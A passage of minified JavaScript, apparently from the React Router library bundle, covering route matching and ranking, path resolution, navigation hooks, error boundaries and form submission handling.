0?y.path||&quot;&quot;:x,caseSensitive:y.caseSensitive===!0,childrenIndex:v,route:y};if(N.relativePath.startsWith(&quot;/&quot;)){if(!N.relativePath.startsWith(r)&amp;&amp;g)return;Xe(N.relativePath.startsWith(r),`Absolute route path &quot;${N.relativePath}&quot; nested under path &quot;${r}&quot; is not valid. An absolute child route path must start with the combined path of all its parent routes.`),N.relativePath=N.relativePath.slice(r.length)}let b=la([r,N.relativePath]),T=d.concat(N);y.children&amp;&amp;y.children.length&gt;0&amp;&amp;(Xe(y.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path &quot;${b}&quot;.`),Ym(y.children,c,T,b,g)),!(y.path==null&amp;&amp;!y.index)&amp;&amp;c.push({path:b,score:sx(b,y.index),routesMeta:T})};return u.forEach((y,v)=&gt;{var g;if(y.path===&quot;&quot;||!((g=y.path)!=null&amp;&amp;g.includes(&quot;?&quot;)))p(y,v);else for(let x of Qm(y.path))p(y,v,!0,x)}),c}function Qm(u){let c=u.split(&quot;/&quot;);if(c.length===0)return[];let[d,...r]=c,f=d.endsWith(&quot;?&quot;),p=d.replace(/\?$/,&quot;&quot;);if(r.length===0)return f?[p,&quot;&quot;]:[p];let y=Qm(r.join(&quot;/&quot;)),v=[];return v.push(...y.map(g=&gt;g===&quot;&quot;?p:[p,g].join(&quot;/&quot;))),f&amp;&amp;v.push(...y),v.map(g=&gt;u.startsWith(&quot;/&quot;)&amp;&amp;g===&quot;&quot;?&quot;/&quot;:g)}function Pp(u){u.sort((c,d)=&gt;c.score!==d.score?d.score-c.score:ix(c.routesMeta.map(r=&gt;r.childrenIndex),d.routesMeta.map(r=&gt;r.childrenIndex)))}var Ip=/^:[\w-]+$/,ex=3,tx=2,ax=1,lx=10,nx=-2,zm=u=&gt;u===&quot;*&quot;;function sx(u,c){let d=u.split(&quot;/&quot;),r=d.length;return d.some(zm)&amp;&amp;(r+=nx),c&amp;&amp;(r+=tx),d.filter(f=&gt;!zm(f)).reduce((f,p)=&gt;f+(Ip.test(p)?ex:p===&quot;&quot;?ax:lx),r)}function ix(u,c){return u.length===c.length&amp;&amp;u.slice(0,-1).every((r,f)=&gt;r===c[f])?u[u.length-1]-c[c.length-1]:0}function ux(u,c,d=!1){let{routesMeta:r}=u,f={},p=&quot;/&quot;,y=[];for(let v=0;v&lt;r.length;++v){let g=r[v],x=v===r.length-1,N=p===&quot;/&quot;?c:c.slice(p.length)||&quot;/&quot;,b=Ei({path:g.relativePath,caseSensitive:g.caseSensitive,end:x},N),T=g.route;if(!b&amp;&amp;x&amp;&amp;d&amp;&amp;!r[r.length-1].route.index&amp;&amp;(b=Ei({path:g.relativePath,caseSensitive:g.caseSensitive,end:!1},N)),!b)return null;Object.assign(f,b.params),y.push({params:f,pathname:la([p,b.pathname]),pathnameBase:mx(la([p,b.pathnameBase])),route:T}),b.pathnameBase!==&quot;/&quot;&amp;&amp;(p=la([p,b.pathnameBase]))}return y}function Ei(u,c){typeof u==&quot;string&quot;&amp;&amp;(u={path:u,caseSensitive:!1,end:!0});let[d,r]=cx(u.path,u.caseSensitive,u.end),f=c.match(d);if(!f)return null;let p=f[0],y=p.replace(/(.)\/+$/,&quot;$1&quot;),v=f.slice(1);return{params:r.reduce((x,{paramName:N,isOptional:b},T)=&gt;{if(N===&quot;*&quot;){let O=v[T]||&quot;&quot;;y=p.slice(0,p.length-O.length).replace(/(.)\/+$/,&quot;$1&quot;)}const G=v[T];return b&amp;&amp;!G?x[N]=void 0:x[N]=(G||&quot;&quot;).replace(/%2F/g,&quot;/&quot;),x},{}),pathname:p,pathnameBase:y,pattern:u}}function cx(u,c=!1,d=!0){Kt(u===&quot;*&quot;||!u.endsWith(&quot;*&quot;)||u.endsWith(&quot;/*&quot;),`Route path &quot;${u}&quot; will be treated as if it were &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot; because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot;.`);let r=[],f=&quot;^&quot;+u.replace(/\/*\*?$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;).replace(/[\\.*+^${}|()[\]]/g,&quot;\\$&amp;&quot;).replace(/\/:([\w-]+)(\?)?/g,(y,v,g,x,N)=&gt;{if(r.push({paramName:v,isOptional:g!=null}),g){let b=N.charAt(x+y.length);return b&amp;&amp;b!==&quot;/&quot;?&quot;/([^\\/]*)&quot;:&quot;(?:/([^\\/]*))?&quot;}return&quot;/([^\\/]+)&quot;}).replace(/\/([\w-]+)\?(\/|$)/g,&quot;(/$1)?$2&quot;);return u.endsWith(&quot;*&quot;)?(r.push({paramName:&quot;*&quot;}),f+=u===&quot;*&quot;||u===&quot;/*&quot;?&quot;(.*)$&quot;:&quot;(?:\\/(.+)|\\/*)$&quot;):d?f+=&quot;\\/*$&quot;:u!==&quot;&quot;&amp;&amp;u!==&quot;/&quot;&amp;&amp;(f+=&quot;(?:(?=\\/|$))&quot;),[new RegExp(f,c?void 0:&quot;i&quot;),r]}function rx(u){try{return u.split(&quot;/&quot;).map(c=&gt;decodeURIComponent(c).replace(/\//g,&quot;%2F&quot;)).join(&quot;/&quot;)}catch(c){return Kt(!1,`The URL path &quot;${u}&quot; could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${c}).`),u}}function Sa(u,c){if(c===&quot;/&quot;)return u;if(!u.toLowerCase().startsWith(c.toLowerCase()))return null;let d=c.endsWith(&quot;/&quot;)?c.length-1:c.length,r=u.charAt(d);return r&amp;&amp;r!==&quot;/&quot;?null:u.slice(d)||&quot;/&quot;}var ox=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i;function dx(u,c=&quot;/&quot;){let{pathname:d,search:r=&quot;&quot;,hash:f=&quot;&quot;}=typeof u==&quot;string&quot;?tn(u):u,p;return d?(d=d.replace(/\/\/+/g,&quot;/&quot;),d.startsWith(&quot;/&quot;)?p=Om(d.substring(1),&quot;/&quot;):p=Om(d,c)):p=c,{pathname:p,search:hx(r),hash:px(f)}}function Om(u,c){let d=c.replace(/\/+$/,&quot;&quot;).split(&quot;/&quot;);return u.split(&quot;/&quot;).forEach(f=&gt;{f===&quot;..&quot;?d.length&gt;1&amp;&amp;d.pop():f!==&quot;.&quot;&amp;&amp;d.push(f)}),d.length&gt;1?d.join(&quot;/&quot;):&quot;/&quot;}function Pc(u,c,d,r){return`Cannot include a &#039;${u}&#039; character in a manually specified \`to.${c}\` field [${JSON.stringify(r)}].  Please separate it out to the \`to.${d}\` field. Alternatively you may provide the full path as a string in &lt;Link to=&quot;...&quot;&gt; and the router will parse it for you.`}function fx(u){return u.filter((c,d)=&gt;d===0||c.route.path&amp;&amp;c.route.path.length&gt;0)}function nr(u){let c=fx(u);return c.map((d,r)=&gt;r===c.length-1?d.pathname:d.pathnameBase)}function _i(u,c,d,r=!1){let f;typeof u==&quot;string&quot;?f=tn(u):(f={...u},Xe(!f.pathname||!f.pathname.includes(&quot;?&quot;),Pc(&quot;?&quot;,&quot;pathname&quot;,&quot;search&quot;,f)),Xe(!f.pathname||!f.pathname.includes(&quot;#&quot;),Pc(&quot;#&quot;,&quot;pathname&quot;,&quot;hash&quot;,f)),Xe(!f.search||!f.search.includes(&quot;#&quot;),Pc(&quot;#&quot;,&quot;search&quot;,&quot;hash&quot;,f)));let p=u===&quot;&quot;||f.pathname===&quot;&quot;,y=p?&quot;/&quot;:f.pathname,v;if(y==null)v=d;else{let b=c.length-1;if(!r&amp;&amp;y.startsWith(&quot;..&quot;)){let T=y.split(&quot;/&quot;);for(;T[0]===&quot;..&quot;;)T.shift(),b-=1;f.pathname=T.join(&quot;/&quot;)}v=b&gt;=0?c[b]:&quot;/&quot;}let g=dx(f,v),x=y&amp;&amp;y!==&quot;/&quot;&amp;&amp;y.endsWith(&quot;/&quot;),N=(p||y===&quot;.&quot;)&amp;&amp;d.endsWith(&quot;/&quot;);return!g.pathname.endsWith(&quot;/&quot;)&amp;&amp;(x||N)&amp;&amp;(g.pathname+=&quot;/&quot;),g}var la=u=&gt;u.join(&quot;/&quot;).replace(/\/\/+/g,&quot;/&quot;),mx=u=&gt;u.replace(/\/+$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;),hx=u=&gt;!u||u===&quot;?&quot;?&quot;&quot;:u.startsWith(&quot;?&quot;)?u:&quot;?&quot;+u,px=u=&gt;!u||u===&quot;#&quot;?&quot;&quot;:u.startsWith(&quot;#&quot;)?u:&quot;#&quot;+u,xx=class{constructor(u,c,d,r=!1){this.status=u,this.statusText=c||&quot;&quot;,this.internal=r,d instanceof Error?(this.data=d.toString(),this.error=d):this.data=d}};function vx(u){return u!=null&amp;&amp;typeof u.status==&quot;number&quot;&amp;&amp;typeof u.statusText==&quot;string&quot;&amp;&amp;typeof u.internal==&quot;boolean&quot;&amp;&amp;&quot;data&quot;in u}function yx(u){return u.map(c=&gt;c.route.path).filter(Boolean).join(&quot;/&quot;).replace(/\/\/*/g,&quot;/&quot;)||&quot;/&quot;}var Xm=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;function Vm(u,c){let d=u;if(typeof d!=&quot;string&quot;||!ox.test(d))return{absoluteURL:void 0,isExternal:!1,to:d};let r=d,f=!1;if(Xm)try{let p=new URL(window.location.href),y=d.startsWith(&quot;//&quot;)?new URL(p.protocol+d):new URL(d),v=Sa(y.pathname,c);y.origin===p.origin&amp;&amp;v!=null?d=v+y.search+y.hash:f=!0}catch{Kt(!1,`&lt;Link to=&quot;${d}&quot;&gt; contains an invalid URL which will probably break when clicked - please update to a valid URL path.`)}return{absoluteURL:r,isExternal:f,to:d}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);var Zm=[&quot;POST&quot;,&quot;PUT&quot;,&quot;PATCH&quot;,&quot;DELETE&quot;];new Set(Zm);var gx=[&quot;GET&quot;,...Zm];new Set(gx);var an=m.createContext(null);an.displayName=&quot;DataRouter&quot;;var Ti=m.createContext(null);Ti.displayName=&quot;DataRouterState&quot;;var Jm=m.createContext(!1);function bx(){return m.useContext(Jm)}var $m=m.createContext({isTransitioning:!1});$m.displayName=&quot;ViewTransition&quot;;var jx=m.createContext(new Map);jx.displayName=&quot;Fetchers&quot;;var Sx=m.createContext(null);Sx.displayName=&quot;Await&quot;;var Rt=m.createContext(null);Rt.displayName=&quot;Navigation&quot;;var ts=m.createContext(null);ts.displayName=&quot;Location&quot;;var Vt=m.createContext({outlet:null,matches:[],isDataRoute:!1});Vt.displayName=&quot;Route&quot;;var sr=m.createContext(null);sr.displayName=&quot;RouteError&quot;;var Km=&quot;REACT_ROUTER_ERROR&quot;,Nx=&quot;REDIRECT&quot;,Ex=&quot;ROUTE_ERROR_RESPONSE&quot;;function _x(u){if(u.startsWith(`${Km}:${Nx}:{`))try{let c=JSON.parse(u.slice(28));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;&amp;&amp;typeof c.location==&quot;string&quot;&amp;&amp;typeof c.reloadDocument==&quot;boolean&quot;&amp;&amp;typeof c.replace==&quot;boolean&quot;)return c}catch{}}function Tx(u){if(u.startsWith(`${Km}:${Ex}:{`))try{let c=JSON.parse(u.slice(40));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;)return new xx(c.status,c.statusText,c.data)}catch{}}function Ax(u,{relative:c}={}){Xe(ln(),&quot;useHref() may be used only in the context of a &lt;Router&gt; component.&quot;);let{basename:d,navigator:r}=m.useContext(Rt),{hash:f,pathname:p,search:y}=as(u,{relative:c}),v=p;return d!==&quot;/&quot;&amp;&amp;(v=p===&quot;/&quot;?d:la([d,p])),r.createHref({pathname:v,search:y,hash:f})}function ln(){return m.useContext(ts)!=null}function Ft(){return Xe(ln(),&quot;useLocation() may be used only in the context of a &lt;Router&gt; component.&quot;),m.useContext(ts).location}var Fm=&quot;You should call navigate() in a React.useEffect(), not when your component is first rendered.&quot;;function Wm(u){m.useContext(Rt).static||m.useLayoutEffect(u)}function Wt(){let{isDataRoute:u}=m.useContext(Vt);return u?Yx():Cx()}function Cx(){Xe(ln(),&quot;useNavigate() may be used only in the context of a &lt;Router&gt; component.&quot;);let u=m.useContext(an),{basename:c,navigator:d}=m.useContext(Rt),{matches:r}=m.useContext(Vt),{pathname:f}=Ft(),p=JSON.stringify(nr(r)),y=m.useRef(!1);return Wm(()=&gt;{y.current=!0}),m.useCallback((g,x={})=&gt;{if(Kt(y.current,Fm),!y.current)return;if(typeof g==&quot;number&quot;){d.go(g);return}let N=_i(g,JSON.parse(p),f,x.relative===&quot;path&quot;);u==null&amp;&amp;c!==&quot;/&quot;&amp;&amp;(N.pathname=N.pathname===&quot;/&quot;?c:la([c,N.pathname])),(x.replace?d.replace:d.push)(N,x.state,x)},[c,d,p,f,u])}var zx=m.createContext(null);function Ox(u){let c=m.useContext(Vt).outlet;return m.useMemo(()=&gt;c&amp;&amp;m.createElement(zx.Provider,{value:u},c),[c,u])}function at(){let{matches:u}=m.useContext(Vt),c=u[u.length-1];return c?c.params:{}}function as(u,{relative:c}={}){let{matches:d}=m.useContext(Vt),{pathname:r}=Ft(),f=JSON.stringify(nr(d));return m.useMemo(()=&gt;_i(u,JSON.parse(f),r,c===&quot;path&quot;),[u,f,r,c])}function wx(u,c){return Pm(u,c)}function Pm(u,c,d){var M;Xe(ln(),&quot;useRoutes() may be used only in the context of a &lt;Router&gt; component.&quot;);let{navigator:r}=m.useContext(Rt),{matches:f}=m.useContext(Vt),p=f[f.length-1],y=p?p.params:{},v=p?p.pathname:&quot;/&quot;,g=p?p.pathnameBase:&quot;/&quot;,x=p&amp;&amp;p.route;{let k=x&amp;&amp;x.path||&quot;&quot;;eh(v,!x||k.endsWith(&quot;*&quot;)||k.endsWith(&quot;*?&quot;),`You rendered descendant &lt;Routes&gt; (or called \`useRoutes()\`) at &quot;${v}&quot; (under &lt;Route path=&quot;${k}&quot;&gt;) but the parent route path has no trailing &quot;*&quot;. This means if you navigate deeper, the parent won&#039;t match anymore and therefore the child routes will never render.

Please change the parent &lt;Route path=&quot;${k}&quot;&gt; to &lt;Route path=&quot;${k===&quot;/&quot;?&quot;*&quot;:`${k}/*`}&quot;&gt;.`)}let N=Ft(),b;if(c){let k=typeof c==&quot;string&quot;?tn(c):c;Xe(g===&quot;/&quot;||((M=k.pathname)==null?void 0:M.startsWith(g)),`When overriding the location using \`&lt;Routes location&gt;\` or \`useRoutes(routes, location)\`, the location pathname must begin with the portion of the URL pathname that was matched by all parent routes. The current pathname base is &quot;${g}&quot; but pathname &quot;${k.pathname}&quot; was given in the \`location\` prop.`),b=k}else b=N;let T=b.pathname||&quot;/&quot;,G=T;if(g!==&quot;/&quot;){let k=g.replace(/^\//,&quot;&quot;).split(&quot;/&quot;);G=&quot;/&quot;+T.replace(/^\//,&quot;&quot;).split(&quot;/&quot;).slice(k.length).join(&quot;/&quot;)}let O=Gm(u,{pathname:G});Kt(x||O!=null,`No routes matched location &quot;${b.pathname}${b.search}${b.hash}&quot; `),Kt(O==null||O[O.length-1].route.element!==void 0||O[O.length-1].route.Component!==void 0||O[O.length-1].route.lazy!==void 0,`Matched leaf route at location &quot;${b.pathname}${b.search}${b.hash}&quot; does not have an element or Component. This means it will render an &lt;Outlet /&gt; with a null value by default resulting in an &quot;empty&quot; page.`);let H=Hx(O&amp;&amp;O.map(k=&gt;Object.assign({},k,{params:Object.assign({},y,k.params),pathname:la([g,r.encodeLocation?r.encodeLocation(k.pathname.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:k.pathname]),pathnameBase:k.pathnameBase===&quot;/&quot;?g:la([g,r.encodeLocation?r.encodeLocation(k.pathnameBase.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:k.pathnameBase])})),f,d);return c&amp;&amp;H?m.createElement(ts.Provider,{value:{location:{pathname:&quot;/&quot;,search:&quot;&quot;,hash:&quot;&quot;,state:null,key:&quot;default&quot;,unstable_mask:void 0,...b},navigationType:&quot;POP&quot;}},H):H}function Rx(){let u=Gx(),c=vx(u)?`${u.status} ${u.statusText}`:u instanceof Error?u.message:JSON.stringify(u),d=u instanceof Error?u.stack:null,r=&quot;rgba(200,200,200, 0.5)&quot;,f={padding:&quot;0.5rem&quot;,backgroundColor:r},p={padding:&quot;2px 4px&quot;,backgroundColor:r},y=null;return console.error(&quot;Error handled by React Router default ErrorBoundary:&quot;,u),y=m.createElement(m.Fragment,null,m.createElement(&quot;p&quot;,null,&quot;💿 Hey developer 👋&quot;),m.createElement(&quot;p&quot;,null,&quot;You can provide a way better UX than this when your app throws errors by providing your own &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;ErrorBoundary&quot;),&quot; or&quot;,&quot; &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;errorElement&quot;),&quot; prop on your route.&quot;)),m.createElement(m.Fragment,null,m.createElement(&quot;h2&quot;,null,&quot;Unexpected Application Error!&quot;),m.createElement(&quot;h3&quot;,{style:{fontStyle:&quot;italic&quot;}},c),d?m.createElement(&quot;pre&quot;,{style:f},d):null,y)}var Dx=m.createElement(Rx,null),Im=class extends m.Component{constructor(u){super(u),this.state={location:u.location,revalidation:u.revalidation,error:u.error}}static getDerivedStateFromError(u){return{error:u}}static getDerivedStateFromProps(u,c){return c.location!==u.location||c.revalidation!==&quot;idle&quot;&amp;&amp;u.revalidation===&quot;idle&quot;?{error:u.error,location:u.location,revalidation:u.revalidation}:{error:u.error!==void 0?u.error:c.error,location:c.location,revalidation:u.revalidation||c.revalidation}}componentDidCatch(u,c){this.props.onError?this.props.onError(u,c):console.error(&quot;React Router caught the following error during render&quot;,u)}render(){let u=this.state.error;if(this.context&amp;&amp;typeof u==&quot;object&quot;&amp;&amp;u&amp;&amp;&quot;digest&quot;in u&amp;&amp;typeof u.digest==&quot;string&quot;){const d=Tx(u.digest);d&amp;&amp;(u=d)}let c=u!==void 0?m.createElement(Vt.Provider,{value:this.props.routeContext},m.createElement(sr.Provider,{value:u,children:this.props.component})):this.props.children;return this.context?m.createElement(Mx,{error:u},c):c}};Im.contextType=Jm;var Ic=new WeakMap;function Mx({children:u,error:c}){let{basename:d}=m.useContext(Rt);if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;&quot;digest&quot;in c&amp;&amp;typeof c.digest==&quot;string&quot;){let r=_x(c.digest);if(r){let f=Ic.get(c);if(f)throw f;let p=Vm(r.location,d);if(Xm&amp;&amp;!Ic.get(c))if(p.isExternal||r.reloadDocument)window.location.href=p.absoluteURL||p.to;else{const y=Promise.resolve().then(()=&gt;window.__reactRouterDataRouter.navigate(p.to,{replace:r.replace}));throw Ic.set(c,y),y}return m.createElement(&quot;meta&quot;,{httpEquiv:&quot;refresh&quot;,content:`0;url=${p.absoluteURL||p.to}`})}}return u}function Ux({routeContext:u,match:c,children:d}){let r=m.useContext(an);return r&amp;&amp;r.static&amp;&amp;r.staticContext&amp;&amp;(c.route.errorElement||c.route.ErrorBoundary)&amp;&amp;(r.staticContext._deepestRenderedBoundaryId=c.route.id),m.createElement(Vt.Provider,{value:u},d)}function Hx(u,c=[],d){let r=d==null?void 0:d.state;if(u==null){if(!r)return null;if(r.errors)u=r.matches;else if(c.length===0&amp;&amp;!r.initialized&amp;&amp;r.matches.length&gt;0)u=r.matches;else return null}let f=u,p=r==null?void 0:r.errors;if(p!=null){let N=f.findIndex(b=&gt;b.route.id&amp;&amp;(p==null?void 0:p[b.route.id])!==void 0);Xe(N&gt;=0,`Could not find a matching route for errors on route IDs: ${Object.keys(p).join(&quot;,&quot;)}`),f=f.slice(0,Math.min(f.length,N+1))}let y=!1,v=-1;if(d&amp;&amp;r){y=r.renderFallback;for(let N=0;N&lt;f.length;N++){let b=f[N];if((b.route.HydrateFallback||b.route.hydrateFallbackElement)&amp;&amp;(v=N),b.route.id){let{loaderData:T,errors:G}=r,O=b.route.loader&amp;&amp;!T.hasOwnProperty(b.route.id)&amp;&amp;(!G||G[b.route.id]===void 0);if(b.route.lazy||O){d.isStatic&amp;&amp;(y=!0),v&gt;=0?f=f.slice(0,v+1):f=[f[0]];break}}}}let g=d==null?void 0:d.onError,x=r&amp;&amp;g?(N,b)=&gt;{var T,G;g(N,{location:r.location,params:((G=(T=r.matches)==null?void 0:T[0])==null?void 0:G.params)??{},unstable_pattern:yx(r.matches),errorInfo:b})}:void 0;return f.reduceRight((N,b,T)=&gt;{let G,O=!1,H=null,M=null;r&amp;&amp;(G=p&amp;&amp;b.route.id?p[b.route.id]:void 0,H=b.route.errorElement||Dx,y&amp;&amp;(v&lt;0&amp;&amp;T===0?(eh(&quot;route-fallback&quot;,!1,&quot;No `HydrateFallback` element provided to render during initial hydration&quot;),O=!0,M=null):v===T&amp;&amp;(O=!0,M=b.route.hydrateFallbackElement||null)));let k=c.concat(f.slice(0,T+1)),F=()=&gt;{let K;return G?K=H:O?K=M:b.route.Component?K=m.createElement(b.route.Component,null):b.route.element?K=b.route.element:K=N,m.createElement(Ux,{match:b,routeContext:{outlet:N,matches:k,isDataRoute:r!=null},children:K})};return r&amp;&amp;(b.route.ErrorBoundary||b.route.errorElement||T===0)?m.createElement(Im,{location:r.location,revalidation:r.revalidation,component:H,error:G,children:F(),routeContext:{outlet:null,matches:k,isDataRoute:!0},onError:x}):F()},null)}function ir(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function qx(u){let c=m.useContext(an);return Xe(c,ir(u)),c}function Bx(u){let c=m.useContext(Ti);return Xe(c,ir(u)),c}function Lx(u){let c=m.useContext(Vt);return Xe(c,ir(u)),c}function ur(u){let c=Lx(u),d=c.matches[c.matches.length-1];return Xe(d.route.id,`${u} can only be used on routes that contain a unique &quot;id&quot;`),d.route.id}function kx(){return ur(&quot;useRouteId&quot;)}function Gx(){var r;let u=m.useContext(sr),c=Bx(&quot;useRouteError&quot;),d=ur(&quot;useRouteError&quot;);return u!==void 0?u:(r=c.errors)==null?void 0:r[d]}function Yx(){let{router:u}=qx(&quot;useNavigate&quot;),c=ur(&quot;useNavigate&quot;),d=m.useRef(!1);return Wm(()=&gt;{d.current=!0}),m.useCallback(async(f,p={})=&gt;{Kt(d.current,Fm),d.current&amp;&amp;(typeof f==&quot;number&quot;?await u.navigate(f):await u.navigate(f,{fromRouteId:c,...p}))},[u,c])}var wm={};function eh(u,c,d){!c&amp;&amp;!wm[u]&amp;&amp;(wm[u]=!0,Kt(!1,d))}m.memo(Qx);function Qx({routes:u,future:c,state:d,isStatic:r,onError:f}){return Pm(u,void 0,{state:d,isStatic:r,onError:f})}function cr({to:u,replace:c,state:d,relative:r}){Xe(ln(),&quot;&lt;Navigate&gt; may be used only in the context of a &lt;Router&gt; component.&quot;);let{static:f}=m.useContext(Rt);Kt(!f,&quot;&lt;Navigate&gt; must not be used on the initial render in a &lt;StaticRouter&gt;. This is a no-op, but you should modify your code so the &lt;Navigate&gt; is only ever rendered in response to some user interaction or state change.&quot;);let{matches:p}=m.useContext(Vt),{pathname:y}=Ft(),v=Wt(),g=_i(u,nr(p),y,r===&quot;path&quot;),x=JSON.stringify(g);return m.useEffect(()=&gt;{v(JSON.parse(x),{replace:c,state:d,relative:r})},[v,x,r,c,d]),null}function Xx(u){return Ox(u.context)}function Se(u){Xe(!1,&quot;A &lt;Route&gt; is only ever to be used as the child of &lt;Routes&gt; element, never rendered directly. Please wrap your &lt;Route&gt; in a &lt;Routes&gt;.&quot;)}function Vx({basename:u=&quot;/&quot;,children:c=null,location:d,navigationType:r=&quot;POP&quot;,navigator:f,static:p=!1,unstable_useTransitions:y}){Xe(!ln(),&quot;You cannot render a &lt;Router&gt; inside another &lt;Router&gt;. You should never have more than one in your app.&quot;);let v=u.replace(/^\/*/,&quot;/&quot;),g=m.useMemo(()=&gt;({basename:v,navigator:f,static:p,unstable_useTransitions:y,future:{}}),[v,f,p,y]);typeof d==&quot;string&quot;&amp;&amp;(d=tn(d));let{pathname:x=&quot;/&quot;,search:N=&quot;&quot;,hash:b=&quot;&quot;,state:T=null,key:G=&quot;default&quot;,unstable_mask:O}=d,H=m.useMemo(()=&gt;{let M=Sa(x,v);return M==null?null:{location:{pathname:M,search:N,hash:b,state:T,key:G,unstable_mask:O},navigationType:r}},[v,x,N,b,T,G,r,O]);return Kt(H!=null,`&lt;Router basename=&quot;${v}&quot;&gt; is not able to match the URL &quot;${x}${N}${b}&quot; because it does not start with the basename, so the &lt;Router&gt; won&#039;t render anything.`),H==null?null:m.createElement(Rt.Provider,{value:g},m.createElement(ts.Provider,{children:c,value:H}))}function Zx({children:u,location:c}){return wx(ar(u),c)}function ar(u,c=[]){let d=[];return m.Children.forEach(u,(r,f)=&gt;{if(!m.isValidElement(r))return;let p=[...c,f];if(r.type===m.Fragment){d.push.apply(d,ar(r.props.children,p));return}Xe(r.type===Se,`[${typeof r.type==&quot;string&quot;?r.type:r.type.name}] is not a &lt;Route&gt; component. All component children of &lt;Routes&gt; must be a &lt;Route&gt; or &lt;React.Fragment&gt;`),Xe(!r.props.index||!r.props.children,&quot;An index route cannot have child routes.&quot;);let y={id:r.props.id||p.join(&quot;-&quot;),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,middleware:r.props.middleware,loader:r.props.loader,action:r.props.action,hydrateFallbackElement:r.props.hydrateFallbackElement,HydrateFallback:r.props.HydrateFallback,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.hasErrorBoundary===!0||r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&amp;&amp;(y.children=ar(r.props.children,p)),d.push(y)}),d}var Si=&quot;get&quot;,Ni=&quot;application/x-www-form-urlencoded&quot;;function Ai(u){return typeof HTMLElement&lt;&quot;u&quot;&amp;&amp;u instanceof HTMLElement}function Jx(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;button&quot;}function $x(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;form&quot;}function Kx(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;input&quot;}function Fx(u){return!!(u.metaKey||u.altKey||u.ctrlKey||u.shiftKey)}function Wx(u,c){return u.button===0&amp;&amp;(!c||c===&quot;_self&quot;)&amp;&amp;!Fx(u)}var bi=null;function Px(){if(bi===null)try{new FormData(document.createElement(&quot;form&quot;),0),bi=!1}catch{bi=!0}return bi}var Ix=new Set([&quot;application/x-www-form-urlencoded&quot;,&quot;multipart/form-data&quot;,&quot;text/plain&quot;]);function er(u){return u!=null&amp;&amp;!Ix.has(u)?(Kt(!1,`&quot;${u}&quot; is not a valid \`encType\` for \`&lt;Form&gt;\`/\`&lt;fetcher.Form&gt;\` and will default to &quot;${Ni}&quot;`),null):u}function ev(u,c){let d,r,f,p,y;if($x(u)){let v=u.getAttribute(&quot;action&quot;);r=v?Sa(v,c):null,d=u.getAttribute(&quot;method&quot;)||Si,f=er(u.getAttribute(&quot;enctype&quot;))||Ni,p=new FormData(u)}else if(Jx(u)||Kx(u)&amp;&amp;(u.type===&quot;submit&quot;||u.type===&quot;image&quot;)){let v=u.form;if(v==null)throw new Error(&#039;Cannot submit a &lt;button&gt; or &lt;input type=&quot;submit&quot;&gt; without a &lt;form&gt;&#039;);let g=u.getAttribute(&quot;formaction&quot;)||v.getAttribute(&quot;action&quot;);if(r=g?Sa(g,c):null,d=u.getAttribute(&quot;formmethod&quot;)||v.getAttribute(&quot;method&quot;)||Si,f=er(u.getAttribute(&quot;formenctype&quot;))||er(v.getAttribute(&quot;enctype&quot;))||Ni,p=new FormData(v,u),!Px()){let{name:x,type:N,value:b}=u;if(N===&quot;image&quot;){let T=x?`${x}.`:&quot;&quot;;p.append(`${T}x`,&quot;0&quot;),p.append(`${T}y`,&quot;0&quot;)}else x&amp;&amp;p.append(x,b)}}else{if(Ai(u))throw new Error(&#039;Cannot submit element that is not &lt;form&gt;, &lt;button&gt;, or &lt;input type=&quot;submit|image&quot;&gt;&#039;);d=Si,r=null,f=Ni,y=u}return p&amp;&amp;f===&quot;text/plain&quot;&amp;&amp;(y=p,p=void 0),{action:r,method:d.toLowerCase(),encType:f,formData:p,body:y}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);function rr(u,c){if(u===!1||u===null||typeof u&gt;&quot;u&quot;)throw new Error(c)}function th(u,c,d,r){let f=typeof u==&quot;string&quot;?new URL(u,typeof window&gt;&quot;u&quot;?&quot;server://singlefetch/&quot;:window.location.origin):u;return d?f.pathname.endsWith(&quot;/&quot;)?f.pathname=`${f.pathname}_.${r}`:f.pathname=`${f.pathname}.${r}`:f.pathname===&quot;/&quot;?f.pathname=`_root.${r}`:c&amp;&amp;Sa(f.pathname,c)===&quot;/&quot;?f.pathname=`${c.replace(/\/$/,&quot;&quot;)}/_root.${r}`:f.pathname=`${f.pathname.replace(/\/$/,&quot;&quot;)}.${r}`,f}async function tv(u,c){if(u.id in c)return c[u.id];try{let d=await import(u.module);return c[u.id]=d,d}catch(d){return console.error(`Error loading route module \`${u.module}\`, reloading page...`),console.error(d),window.__reactRouterContext&amp;&amp;window.__reactRouterContext.isSpaMode,window.location.reload(),new Promise(()=&gt;{})}}function av(u){return u==null?!1:u.href==null?u.rel===&quot;preload&quot;&amp;&amp;typeof 